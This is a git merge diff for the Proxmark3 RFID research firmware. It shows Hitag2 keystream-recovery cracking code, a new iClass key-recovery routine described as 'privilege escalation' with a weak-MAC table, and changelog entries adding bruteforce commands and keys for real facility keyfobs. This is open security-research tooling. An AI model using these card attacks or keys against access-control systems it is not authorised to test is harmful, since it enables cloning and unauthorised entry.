Merge remote-tracking branch 'remotes/origin/master' into standalone-mfc-rewrite

This commit is contained in:
Michael Roland 2024-07-25 12:50:34 +02:00
commit eeb1441b75
59 changed files with 3683 additions and 1083 deletions

View file

@ -4,6 +4,28 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
## [unreleased][unreleased] ## [unreleased][unreleased]
- Changed standalone mode HF_MATTYRUN - support more card sizes, user dictionaries, improved emulation (@michaelroland) - Changed standalone mode HF_MATTYRUN - support more card sizes, user dictionaries, improved emulation (@michaelroland)
- Changed `hf iclass dump --ns` - now supports the nosave flag (@iceman1001)
- Fixed write check in hitag2crack2 buildtables (@mwalker33)
- Fixed breaking of client when trying to load a non-supported .picopass file (@iceman100) Thanks to Jump for suggested fixes!
- Changed `mf_nonce_brute` tool to handle the odd case of multiple key candidates (@iceman1001)
- Fixed a bad memory erase (@iceman1001)
- Fixed BT serial comms (@iceman1001)
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
- Fixed 'hf 14b sim' - now works (@michi-jung)
- Added VB6 Rng for iclass elite keys `hf iclass lookup` and `hf iclass chk` functions by porting @bettse work in the Flipper Zero Picopass App (@antiklesys)
- Added MFC Key for swimming pool cards in Reykjavík Iceland (@dandri)
- Added key for Orkan keyfobs (@dandri)
- Added key for Atlantsolía keyfobs (@dandri)
- Added `hf iclass legbrute` this function allows to bruteforce 40/64 k1 bits of an iclass card to recover the raw key used(@antiklesys).
- Added `hf iclass legrec` this function allows to recover 24/64 k1 bits of an iclass card (@antiklesys).
## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)
- Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
- Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001)
- Fixed `lf hitag crack2` - now works. (@iceman1001)
- Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001) - Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001)
- Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd` - Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd`
- Fixed `hf 15 dump` memory leaks (@jlitewski) - Fixed `hf 15 dump` memory leaks (@jlitewski)

View file

@ -41,7 +41,7 @@ void ModInfo(void) {
DbpString(" LF EM4100 simulator standalone mode"); DbpString(" LF EM4100 simulator standalone mode");
} }
static uint64_t rev_quads(uint64_t bits) { static uint64_t em4100emul_rev_quads(uint64_t bits) {
uint64_t result = 0; uint64_t result = 0;
for (int i = 0; i < 16; i++) { for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i); result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
@ -49,7 +49,7 @@ static uint64_t rev_quads(uint64_t bits) {
return result >> 24; return result >> 24;
} }
static void fill_buff(uint8_t bit) { static void em4100emul_fill_buff(uint8_t bit) {
uint8_t *bba = BigBuf_get_addr(); uint8_t *bba = BigBuf_get_addr();
memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2); memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2);
em4100emul_buflen += (LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2);
@ -57,7 +57,7 @@ static void fill_buff(uint8_t bit) {
em4100emul_buflen += (LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2);
} }
static void construct_EM410x_emul(uint64_t id) { static void em4100emul_construct_EM410x_emul(uint64_t id) {
int i, j; int i, j;
int binary[4] = {0, 0, 0, 0}; int binary[4] = {0, 0, 0, 0};
@ -65,24 +65,24 @@ static void construct_EM410x_emul(uint64_t id) {
em4100emul_buflen = 0; em4100emul_buflen = 0;
for (i = 0; i < 9; i++) for (i = 0; i < 9; i++)
fill_buff(1); em4100emul_fill_buff(1);
for (i = 0; i < 10; i++) { for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2) for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2; binary[j] = id % 2;
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
fill_buff(binary[j]); em4100emul_fill_buff(binary[j]);
fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); em4100emul_fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
parity[j] ^= binary[j]; parity[j] ^= binary[j];
} }
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
fill_buff(parity[j]); em4100emul_fill_buff(parity[j]);
fill_buff(0); em4100emul_fill_buff(0);
} }
static void LED_Slot(int i) { static void LED_Slot(int i) {
@ -108,8 +108,18 @@ void RunMod(void) {
SpinDelay(100); SpinDelay(100);
SpinUp(100); SpinUp(100);
LED_Slot(selected); LED_Slot(selected);
construct_EM410x_emul(rev_quads(em4100emul_low[selected])); Dbprintf("Emulating 0x%010llX", em4100emul_low[selected]);
em4100emul_construct_EM410x_emul(em4100emul_rev_quads(em4100emul_low[selected]));
SimulateTagLowFrequency(em4100emul_buflen, 0, true); SimulateTagLowFrequency(em4100emul_buflen, 0, true);
//Exit! Button hold break
int button_pressed = BUTTON_HELD(500);
if (button_pressed == BUTTON_HOLD) {
Dbprintf("Button hold, Break!");
LEDsoff();
Dbprintf("[=] >> LF EM4100 simulator stopped due to button hold <<");
return; // RunMod end
}
selected = (selected + 1) % em4100emul_slots_count; selected = (selected + 1) % em4100emul_slots_count;
} }
} }

View file

@ -2061,6 +2061,10 @@ static void PacketReceived(PacketCommandNG *packet) {
iClass_Restore((iclass_restore_req_t *)packet->data.asBytes); iClass_Restore((iclass_restore_req_t *)packet->data.asBytes);
break; break;
} }
case CMD_HF_ICLASS_RECOVER: {
iClass_Recover((iclass_recover_req_t *)packet->data.asBytes);
break;
}
case CMD_HF_ICLASS_CREDIT_EPURSE: { case CMD_HF_ICLASS_CREDIT_EPURSE: {
iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes); iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes);
break; break;

View file

@ -101,7 +101,8 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) {
d += 16; d += 16;
} }
#endif #endif
}void print_result(const char *name, const uint8_t *d, size_t }
void print_result(const char *name, const uint8_t *d, size_t
n) { n) {

View file

@ -120,7 +120,7 @@ static void hitag2_init(void) {
#define HITAG_FRAME_LEN 20 #define HITAG_FRAME_LEN 20
#define HITAG_FRAME_BIT_COUNT (8 * HITAG_FRAME_LEN) #define HITAG_FRAME_BIT_COUNT (8 * HITAG_FRAME_LEN)
#define HITAG_T_STOP 36 /* T_EOF should be > 36 */ #define HITAG_T_STOP 36 /* T_EOF should be > 36 */
#define HITAG_T_LOW 8 /* T_LOW should be 4..10 */ #define HITAG_T_LOW 6 /* T_LOW should be 4..10 */
#define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */ #define HITAG_T_0_MIN 15 /* T[0] should be 18..22 */
#define HITAG_T_0 20 /* T[0] should be 18..22 */ #define HITAG_T_0 20 /* T[0] should be 18..22 */
#define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */ #define HITAG_T_1_MIN 25 /* T[1] should be 26..30 */
@ -322,8 +322,6 @@ static void hitag2_handle_reader_command(uint8_t *rx, const size_t rxlen, uint8_
// reader/writer // reader/writer
// returns how long it took // returns how long it took
static uint32_t hitag_reader_send_bit(int bit) { static uint32_t hitag_reader_send_bit(int bit) {
uint32_t wait = 0;
// Binary pulse length modulation (BPLM) is used to encode the data stream // Binary pulse length modulation (BPLM) is used to encode the data stream
// This means that a transmission of a one takes longer than that of a zero // This means that a transmission of a one takes longer than that of a zero
@ -331,8 +329,8 @@ static uint32_t hitag_reader_send_bit(int bit) {
lf_modulation(true); lf_modulation(true);
// Wait for 4-10 times the carrier period // Wait for 4-10 times the carrier period
lf_wait_periods(8); // wait for 4-10 times the carrier period lf_wait_periods(HITAG_T_LOW); // wait for 4-10 times the carrier period
wait += 8; uint32_t wait = HITAG_T_LOW;
// Disable modulation, just activates the field again // Disable modulation, just activates the field again
lf_modulation(false); lf_modulation(false);
@ -353,6 +351,7 @@ static uint32_t hitag_reader_send_bit(int bit) {
// reader / writer commands // reader / writer commands
// frame_len is in number of bits? // frame_len is in number of bits?
static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) {
WDT_HIT();
uint32_t wait = 0; uint32_t wait = 0;
// Send the content of the frame // Send the content of the frame
@ -360,6 +359,7 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len)
wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); wait += hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1);
} }
// Send EOF
// Enable modulation, which means, drop the field // Enable modulation, which means, drop the field
lf_modulation(true); lf_modulation(true);
@ -373,6 +373,7 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len)
// t_stop, high field for stop condition (> 36) // t_stop, high field for stop condition (> 36)
lf_wait_periods(HITAG_T_STOP); lf_wait_periods(HITAG_T_STOP);
wait += HITAG_T_STOP; wait += HITAG_T_STOP;
WDT_HIT();
return wait; return wait;
} }
@ -388,7 +389,7 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l
wait += hitag_reader_send_bit(frame[i]); wait += hitag_reader_send_bit(frame[i]);
} }
// EOF // Send EOF
// Enable modulation, which means, drop the field // Enable modulation, which means, drop the field
// set GPIO_SSC_DOUT to HIGH // set GPIO_SSC_DOUT to HIGH
lf_modulation(true); lf_modulation(true);
@ -406,7 +407,6 @@ static uint32_t hitag_reader_send_framebits(const uint8_t *frame, size_t frame_l
wait += HITAG_T_STOP; wait += HITAG_T_STOP;
WDT_HIT(); WDT_HIT();
return wait; return wait;
} }
@ -2418,7 +2418,7 @@ static void ht2_send(bool turn_on, uint32_t *cmd_start
, uint8_t *tx, size_t txlen, bool send_bits) { , uint8_t *tx, size_t txlen, bool send_bits) {
// Tag specific configuration settings (sof, timings, etc.) HITAG2 Settings // Tag specific configuration settings (sof, timings, etc.) HITAG2 Settings
#define T_WAIT_1_GUARD 8 #define T_WAIT_1_GUARD 7
if (turn_on) { if (turn_on) {
// Wait 50ms with field off to be sure the transponder gets reset // Wait 50ms with field off to be sure the transponder gets reset

View file

@ -30,15 +30,13 @@
#include "cmd.h" #include "cmd.h"
#include "lfadc.h" #include "lfadc.h"
const static uint8_t ERROR_RESPONSE[] = { 0xF4, 0x02, 0x88, 0x9C };
// #define READP0CMD "1100000111" // #define READP0CMD "1100000111"
const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1}; const static uint8_t read_p0_cmd[] = {1, 1, 0, 0, 0, 0, 0, 1, 1, 1};
// hitag2crack_xor XORs the source with the pad to produce the target. // hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len. // source, target and pad are binarrays of length len.
static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, uint16_t len) { static void hitag2crack_xor(uint8_t *target, const uint8_t *source, const uint8_t *pad, size_t len) {
for (uint16_t i = 0; i < len; i++) { for (size_t i = 0; i < len; i++) {
target[i] = source[i] ^ pad[i]; target[i] = source[i] ^ pad[i];
} }
} }
@ -113,14 +111,11 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar,
uint8_t e_resp[4]; uint8_t e_resp[4];
if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) { if (hitag2crack_send_e_cmd(e_resp, nrar, e_cmd, 10)) {
// check if it is valid OBS! uint8_t e_response[32] = {0};
if (memcmp(e_resp, ERROR_RESPONSE, 4)) { uint8_t response[32] = {0};
uint8_t e_response[32];
uint8_t response[32];
// convert to binarray // convert to binarray
hex2binarray((char *)e_response, (char *)e_resp); hex2binarray_n((char *)e_response, (char *)e_resp, 4);
// decrypt response // decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32); hitag2crack_xor(response, e_response, keybits + 10, 32);
@ -129,7 +124,6 @@ static bool hitag2crack_read_page(uint8_t *resp, uint8_t pagenum, uint8_t *nrar,
return true; return true;
} }
}
return false; return false;
} }
@ -168,14 +162,7 @@ static bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e
// send extended encrypted cmd // send extended encrypted cmd
uint8_t resp[4] = {0}; uint8_t resp[4] = {0};
if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) { if (hitag2crack_send_e_cmd(resp, nrar, e_ext_cmd, 40)) {
// test if it was valid
if (memcmp(resp, ERROR_RESPONSE, 4)) {
return true; return true;
} else {
DbpString("test enc-page0 cmd. got error-response");
Dbhexdump(4, resp, false);
}
} }
return false; return false;
} }
@ -201,6 +188,7 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd,
// encrypted command. // encrypted command.
uint8_t guess[10]; uint8_t guess[10];
memcpy(guess, e_firstcmd, 10); memcpy(guess, e_firstcmd, 10);
if (a) { if (a) {
guess[5] = !guess[5]; guess[5] = !guess[5];
guess[0] = !guess[0]; guess[0] = !guess[0];
@ -222,16 +210,13 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd,
} }
// try the guess // try the guess
uint8_t resp[4]; uint8_t resp[4] = {0};
if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) { if (hitag2crack_send_e_cmd(resp, nrar, guess, 10)) {
// check if it was valid
if (memcmp(resp, ERROR_RESPONSE, 4)) {
// convert response to binarray // convert response to binarray
// response should been encrypted UID // response should been encrypted UID
uint8_t e_uid[32]; uint8_t e_uid[32] = {0};
hex2binarray((char *)e_uid, (char *)resp); hex2binarray_n((char *)e_uid, (char *)resp, 4);
// test if the guess was 'read page 0' command // test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) { if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid)) {
@ -242,7 +227,6 @@ static bool hitag2crack_find_e_page0_cmd(uint8_t *keybits, uint8_t *e_firstcmd,
} }
} }
} }
}
return false; return false;
} }
@ -263,25 +247,12 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) {
for (uint8_t g = 0; g < 2; g++) { for (uint8_t g = 0; g < 2; g++) {
// build binarray // build binarray
//uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 }; uint8_t guess[10] = { a, b, c, d, e, 0, g, 0, 0, 0 };
uint8_t guess[10];
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess // send guess
uint8_t resp[4]; uint8_t resp[4] = {0};
if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) { if (hitag2crack_send_e_cmd(resp, nrar, guess, sizeof(guess))) {
// check if it was valid
if (memcmp(resp, ERROR_RESPONSE, 4)) {
// return the guess as the encrypted command // return the guess as the encrypted command
memcpy(e_cmd, guess, 10); memcpy(e_cmd, guess, 10);
return true; return true;
@ -292,118 +263,16 @@ static bool hitag2crack_find_valid_e_cmd(uint8_t *e_cmd, uint8_t *nrar) {
} }
} }
} }
}
return false; return false;
} }
typedef struct { typedef struct {
uint8_t keybits[2080]; uint8_t keybits[2080];
uint8_t uid[32]; uint8_t uid[32];
uint8_t nrar[64]; uint8_t nrar[64];
uint8_t e_ext_cmd[2080]; uint8_t e_ext_cmd[2080];
uint8_t ext_cmd[2080];
} PACKED lf_hitag_crack2_t; } PACKED lf_hitag_crack2_t;
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
// length) to consume keystream.
// keybits is the binarray of keystream bits;
// kslen is the length of keystream;
// ksoffset is a pointer to the current keystream offset (updated by this fn);
// nrar is the 64 bit binarray of the nR aR pair.
//static bool ht2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset) {
/*
static bool ht2crack_consume_keystream(lf_hitag_crack2_t *c2, int kslen, int *ksoffset) {
// calculate the length of keybits to consume with the extended command.
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
// cannot be longer than 510 bits to fit into the small RWD buffer.
int conlen = kslen - *ksoffset - 42;
if (conlen < 10) {
DbpString("ht2crack_consume_keystream: conlen < 10");
return false;
}
// calculate how many repeated commands to send in this extended command.
int numcmds = conlen / 10;
// xor extended cmd with keybits
hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + *ksoffset, (numcmds * 10));
// send encrypted command
size_t n = 0;
uint8_t resp[4];
if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) {
Dbprintf("ht2crack_consume_keystream: tx/rx cmd failed, got %zu", n);
return false;
}
// test response
if (memcmp(resp, ERROR_RESPONSE, 4) == 0) {
DbpString("ht2crack_consume_keystream: got error response from card");
return false;
}
// dont bother decrypting the response - we already know the keybits
// update ksoffset with command length and response
*ksoffset += (numcmds * 10) + 32;
return true;
}
*/
// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
// keybits is the binarray of the keystream bits;
// kslen is a pointer to the current keybits length;
// ksoffset is the offset into the keybits array;
// nrar is the 64 bit binarray of the nR aR pair;
// uid is the 32 bit binarray of the UID.
//static bool ht2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
/*
static bool ht2crack_extend_keystream(lf_hitag_crack2_t *c2, int *kslen, int ksoffset) {
// calc number of command iterations to send
int cmdlen = *kslen - ksoffset;
if (cmdlen < 10) {
DbpString("extend_keystream: cmdlen < 10");
return false;
}
int numcmds = cmdlen / 10;
// xor extended cmd with keybits
hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits + ksoffset, numcmds * 10);
// send extended encrypted cmd
size_t n = 0;
uint8_t resp[4];
if (ht2_tx_rx(c2->e_ext_cmd, numcmds * 10, resp, &n, true, true) != PM3_SUCCESS) {
DbpString("extend_keystream: tx/rx cmd failed");
Dbhexdump(numcmds * 10, c2->e_ext_cmd, false);
return false;
}
// test response
if (memcmp(resp, ERROR_RESPONSE, 4) == 0) {
return false;
}
// convert response to binarray
uint8_t e_response[32];
hex2binarray((char*)e_response, (char*)resp);
// recover keystream from encrypted response
hitag2crack_xor(c2->keybits + ksoffset + (numcmds * 10), e_response, c2->uid, 32);
// update kslen
*kslen = ksoffset + (numcmds * 10) + 32;
return true;
}
*/
// hitag2_crack implements the first crack algorithm described in the paper, // hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch. // Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the cracked tag // response is a multi-line text response containing the 8 pages of the cracked tag
@ -468,148 +337,105 @@ out:
// nrar_hex is the 32 bit nR and aR in hex // nrar_hex is the 32 bit nR and aR in hex
void ht2_crack2(uint8_t *nrar_hex) { void ht2_crack2(uint8_t *nrar_hex) {
BigBuf_free();
uint8_t *e_response = BigBuf_calloc(32);
lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t *)BigBuf_calloc(sizeof(lf_hitag_crack2_t)); lf_hitag_crack2_t *c2 = (lf_hitag_crack2_t *)BigBuf_calloc(sizeof(lf_hitag_crack2_t));
lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t));
g_logging = false; g_logging = false;
LEDsoff(); LEDsoff();
set_tracing(false); set_tracing(false);
clear_trace(); clear_trace();
int res = PM3_SUCCESS;
// find the 'read page 0' command and recover key stream // find the 'read page 0' command and recover key stream
// get uid as hexstring // get uid as hexstring
uint8_t uid_hex[4]; uint8_t uid_hex[4] = {0};
if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) { if (ht2_read_uid(uid_hex, false, false, false) != PM3_SUCCESS) {
res = PM3_EFAILED; BigBuf_free();
goto out; reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
return;
} }
hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4); hex2binarray_n((char *)c2->uid, (char *)uid_hex, 4);
hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8); hex2binarray_n((char *)c2->nrar, (char *)nrar_hex, 8);
DbpString("looking for encrypted command");
// find a valid encrypted command // find a valid encrypted command
uint8_t e_firstcmd[10]; uint8_t e_firstcmd[10] = {0};
if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) { if (hitag2crack_find_valid_e_cmd(e_firstcmd, c2->nrar) == false) {
res = PM3_EFAILED; BigBuf_free();
goto out; reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
return;
} }
DbpString("looking for encrypted page 0");
// find encrypted page0 commnd
if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) { if (hitag2crack_find_e_page0_cmd(c2->keybits, e_firstcmd, c2->nrar, c2->uid) == false) {
res = PM3_EFAILED; BigBuf_free();
goto out; reply_ng(CMD_LF_HITAG2_CRACK_2, PM3_EFAILED, NULL, 0);
return;
} }
// Now we got 40 bits of keystream in c2->keybits. // We got 42 bits of keystream in c2->keybits.
// using the 40 bits of keystream in keybits, sending commands with ever // using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream. // increasing lengths to acquire 2048 bits of key stream.
int kslen = 40; int kslen = 40;
int res = PM3_SUCCESS;
// build extended command while (kslen < 2048 && BUTTON_PRESS() == false) {
for (int i = 0; i < 208 ; i++) {
memcpy(c2->ext_cmd + (i * 10), read_p0_cmd, 10);
}
DbpString("enter main keystream rec"); hitag2crack_xor(c2->e_ext_cmd, read_p0_cmd, c2->keybits, 10);
Dbhexdump(160, c2->ext_cmd, false); hitag2crack_xor(c2->e_ext_cmd + 10, read_p0_cmd, c2->keybits + 10, 10);
hitag2crack_xor(c2->e_ext_cmd + 20, read_p0_cmd, c2->keybits + 20, 10);
hitag2crack_xor(c2->e_ext_cmd + 30, read_p0_cmd, c2->keybits + 30, 10);
DbpString("enter main keystream recover loop"); Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen);
while (kslen < 2048) {
//int ksoffset = 0;
// Get UID // Get UID
if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) { if (ht2_read_uid(NULL, true, false, true) != PM3_SUCCESS) {
res = PM3_EFAILED; res = PM3_EFAILED;
goto out; break;
} }
// send nrar and receive (useless) encrypted page 3 value // send nrar and receive (useless) encrypted page 3 value
size_t n = 0; size_t n = 0;
if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) { if (ht2_tx_rx(c2->nrar, 64, NULL, &n, true, true) != PM3_SUCCESS) {
res = PM3_EFAILED; res = PM3_EFAILED;
goto out;
}
// while we have at least 52 bits of keystream, consume it with
// extended read page 0 commands.
// 52 = 10 (min command len) + 32 (response) + 10 (min command len we'll send)
/*
while ((kslen - ksoffset) >= 52) {
// consume the keystream, updating ksoffset as we go
//if (ht2crack_consume_keystream(c2->keybits, kslen, &ksoffset, c2->nrar) == false) {
if (ht2crack_consume_keystream(c2, kslen, &ksoffset) == false) {
DbpString("ht2crack_consume_keystream failed");
res = PM3_EFAILED;
goto out;
}
}
// send an extended command to retrieve more keystream,
// updating kslen as we go
if (ht2crack_extend_keystream(c2, &kslen, ksoffset) == false) {
DbpString("ht2crack_extend_keystream failed");
res = PM3_EFAILED;
goto out;
}
*/
// xor extended cmd with keybits
hitag2crack_xor(c2->e_ext_cmd, c2->ext_cmd, c2->keybits, kslen);
// send extended encrypted cmd
uint8_t resp[4];
if (ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false) != PM3_SUCCESS) {
DbpString("extend_keystream: tx/rx cmd failed");
break; break;
} }
// test response uint8_t resp[4] = {0};
if (memcmp(resp, ERROR_RESPONSE, 4) == 0) { res = ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false);
if (res != PM3_SUCCESS) {
Dbprintf("tx/rx failed, got %zu (res... %i)", n, res);
break; break;
} }
// convert response to binarray // convert response to binarray
uint8_t e_response[32]; hex2binarray_n((char *)e_response, (char *)resp, 4);
hex2binarray((char *)e_response, (char *)resp);
// recover keystream from encrypted response // recover keystream from encrypted response
hitag2crack_xor(c2->keybits + kslen + 40, e_response, c2->uid, 32); hitag2crack_xor(c2->keybits + kslen, e_response, c2->uid, 32);
// update kslen // extented with 30 bits or 3 * 10 read_p0_cmds
kslen += (40 + 32); hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
kslen += 10;
Dbprintf("Recovered " _YELLOW_("%i") " bits of keystream", kslen); hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
kslen += 10;
hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
kslen += 10;
} }
/* Dbprintf("Recovered " _YELLOW_("%4i") " bits of keystream", kslen);
uint8_t *keybitshex = BigBuf_calloc(64);
for (int i = 0; i < 2048; i += 256) { lf_hitag_crack_response_t *packet = (lf_hitag_crack_response_t *)BigBuf_calloc(sizeof(lf_hitag_crack_response_t));
binarray2hex(c2->keybits + i, 256, keybitshex);
Dbhexdump(256, keybitshex, false);
}
*/
BigBuf_free();
// copy UID since we already have it...
memcpy(packet->data, uid_hex, 4);
packet->status = 1; packet->status = 1;
binarray2hex(c2->keybits, kslen, packet->data);
out:
/*
DbpString("keybits:");
Dbhexdump(2080, c2->keybits, false);
DbpString("uid:");
Dbhexdump(32, c2->uid, false);
DbpString("nrar:");
Dbhexdump(64, c2->nrar, false);
*/
reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t)); reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t));
BigBuf_free();
return;
} }

View file

@ -2152,3 +2152,201 @@ out:
reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0); reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0);
} }
} }
void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) {
uint32_t carry = index;
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry
keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0
carry >>= 3; // Shift right by 3 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
void iClass_Recover(iclass_recover_req_t *msg) {
bool shallow_mod = false;
LED_A_ON();
Dbprintf(_RED_("Interrupting this process will render the card unusable!"));
Iso15693InitReader();
//Authenticate with AA2 with the standard key to get the AA2 mac
//Step0 Card Select Routine
uint32_t eof_time = 0;
picopass_hdr_t hdr = {0};
bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
if (res == false) {
goto out;
}
//Step1 Authenticate with AA2 using K2
uint8_t mac2[4] = {0};
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
if (res == false) {
goto out;
}
uint8_t div_key2[8] = {0};
memcpy(div_key2, hdr.key_c, 8);
//cycle reader to reset cypher state and be able to authenticate with k1 trace
switch_off();
Iso15693InitReader();
//Step0 Card Select Routine
eof_time = 0;
//hdr = {0};
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
if (res == false) {
goto out;
}
//Step1 Authenticate with AA1 using trace
uint8_t mac1[4] = {0};
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == false) {
goto out;
}
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
uint8_t blockno = 24;
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
AddCrc(cmd_read + 1, 1);
uint8_t resp[10];
res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
{ 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001
{ 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010
{ 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011
{ 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100
